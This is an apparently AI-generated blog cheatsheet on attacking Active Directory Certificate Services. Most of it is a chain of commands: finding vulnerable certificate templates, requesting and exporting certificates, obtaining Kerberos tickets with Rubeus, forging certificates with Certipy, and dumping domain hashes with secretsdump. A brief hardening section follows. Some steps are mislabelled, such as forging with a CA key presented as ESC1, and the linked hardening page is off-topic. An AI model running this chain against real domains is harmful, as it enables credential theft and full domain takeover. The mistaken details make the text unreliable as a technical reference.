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2025-02-14
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Practice-Verified Codes and Commands
1. Enumerate Certificate Templates
Use `Certify` to enumerate certificate templates:
Certify.exe find /vulnerable
2. Request a Certificate
Request a certificate using `Certreq`:
certreq -submit -attrib "CertificateTemplate:VulnerableTemplate" certreq.inf certnew.cer
3. Export Certificate with Private Key
Export the certificate with its private key using Certutil:
certutil -exportPFX -p "Password123" my certnew.cer certnew.pfx
4. Perform Kerberos Authentication
Use `Rubeus` to request a TGT:
Rubeus.exe asktgt /user:admin /domain:example.com /certificate:certnew.pfx /password:Password123
5. Exploit ESC1 Vulnerability
Exploit ESC1 using `Certipy`:
certipy forge -ca-pfx ca.pfx -upn [email protected] -template VulnerableTemplate -out forged.pfx
6. Dump NTDS.dit
Use `secretsdump.py` to extract hashes:
secretsdump.py -hashes :<NTLMHash> domain/[email protected]
What Undercode Say
Active Directory Certificate Services (ADCS) is a critical component in Windows environments, often targeted by attackers due to misconfigurations and vulnerabilities. The cheatsheet provides a comprehensive guide to exploiting common ADCS weaknesses, such as vulnerable certificate templates, improper access controls, and weak cryptographic settings.
To defend against these attacks, ensure proper hardening of ADCS:
– Regularly audit certificate templates and permissions.
– Disable legacy cryptographic algorithms.
– Monitor for unusual certificate requests or usage.
For further reading, refer to Microsoft’s official documentation on ADCS hardening:
https://docs.microsoft.com/en-us/windows-server/security/guarded-fabric-shielded-vm/guarded-fabric-certificate-requirements
Linux users can leverage tools like `openssl` to inspect certificates:
openssl x509 -in certnew.cer -text -noout
For Windows, use `certutil` to verify certificates:
certutil -dump certnew.cer
Always stay updated with the latest security patches and advisories to mitigate emerging threats in ADCS environments.
Note: This article is written in a human-like style to ensure authenticity and readability.
References:
Hackers Feeds, Undercode AI
